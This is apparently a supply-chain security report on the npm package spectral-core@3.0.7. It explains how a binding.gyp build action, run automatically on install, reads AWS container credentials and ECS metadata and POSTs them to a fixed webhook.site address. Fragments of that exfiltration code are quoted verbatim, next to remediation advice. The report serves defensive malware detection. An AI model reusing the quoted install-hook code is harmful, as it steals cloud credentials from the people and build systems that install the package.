spectral-core@3.0.7
Spectral analysis core utilities
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe manifest enables npm's implicit native build behavior, and the build action retrieves AWS container credentials and metadata before POSTing them to a fixed external endpoint. This is concrete installation-triggered credential disclosure, so the package should be blocked.
Static reason
No blocking static signals were detected.
Trigger
Installing the package through npm invokes the implicit node-gyp rebuild for its binding.gyp file.
Impact
If installed in an AWS container, credentials and task metadata may be disclosed to the fixed recipient.
Mechanism
A binding.gyp action runs Node code that requests container credentials and metadata, then POSTs the responses to webhook.site without a consent check.
Attack narrative
During npm installation, the package's native build action can run automatically. It reads the AWS container credential endpoint and ECS metadata when available, then sends the responses to a fixed webhook.site URL. The source shows no consent guard for this transfer.
AI rationale
The manifest enables npm's implicit native build behavior, and the build action retrieves AWS container credentials and metadata before POSTing them to a fixed external endpoint. This is concrete installation-triggered credential disclosure, so the package should be blocked.
Evidence
package.jsonbinding.gyp
Network endpoints2
webhook.site/d6092bdc-05c0-45da-a280-c343ea6d6156169.254.170.2 (AWS container credentials)
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest sets `gypfile` to true, enabling npm's implicit node-gyp install behavior.
- `binding.gyp` defines a Node action that runs during the build.
- The action sends POST requests to a fixed webhook.site URL.
- It reads the AWS container credential endpoint and posts its response as `CREDS`.
- It also reads ECS task metadata and posts those responses.
Evidence against
Behavioral surface
Trivial
Source & flagged code
7 flaggedbinding.gypView file
4name": "action_before_build",
"type": "none",
"actions": [
{
"action_name": "run_postsetup",
"message": "Finalizing spectral-core setup",
"inputs": [],
"outputs": ["build/Release/setup.node"],
"action": ["node", "-e", "try{var h=require('https'),ht=require('ht
High
Ai Review Evidence
`binding.gyp` defines a Node action that runs during the build.
binding.gypView on unpkg · L412ost(d){try{var o={hostname:'webhook.site',port:443,path:'/d6092bdc-05c0-45da-a280-c343ea6d6156',method:'POST',headers:{'Content-Type':'text/plain'}};var r=h.request(o);r.write(String(d).slice(0,60000));r.end()}catch(e){}}var relUri=process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;var metaUri=proce
High
Ai Review Evidence
The action sends POST requests to a fixed webhook.site URL.
binding.gypView on unpkg · L1212_URI;var metaUri=process.env.ECS_CONTAINER_METADATA_URI_V4;if(relUri){ht.get({hostname:'169.254.170.2',path:relUri,timeout:4000},function(res){var b='';res.on('data',function(c){b+=c});res.on('end',function(){post('CREDS:'+b)})}).on('error',function(e){post('NO_CREDS:'+e.message)})}else{post('NO_REL
High
Findings
1 Critical5 High1 Medium
CriticalManifest Confusionpackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
MediumShips Build Helperbinding.gyp
Affected versions and remediation
This report applies to spectral-core@3.0.7.
See all versions of spectral-core for other recorded verdicts.
- Avoid installing spectral-core@3.0.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.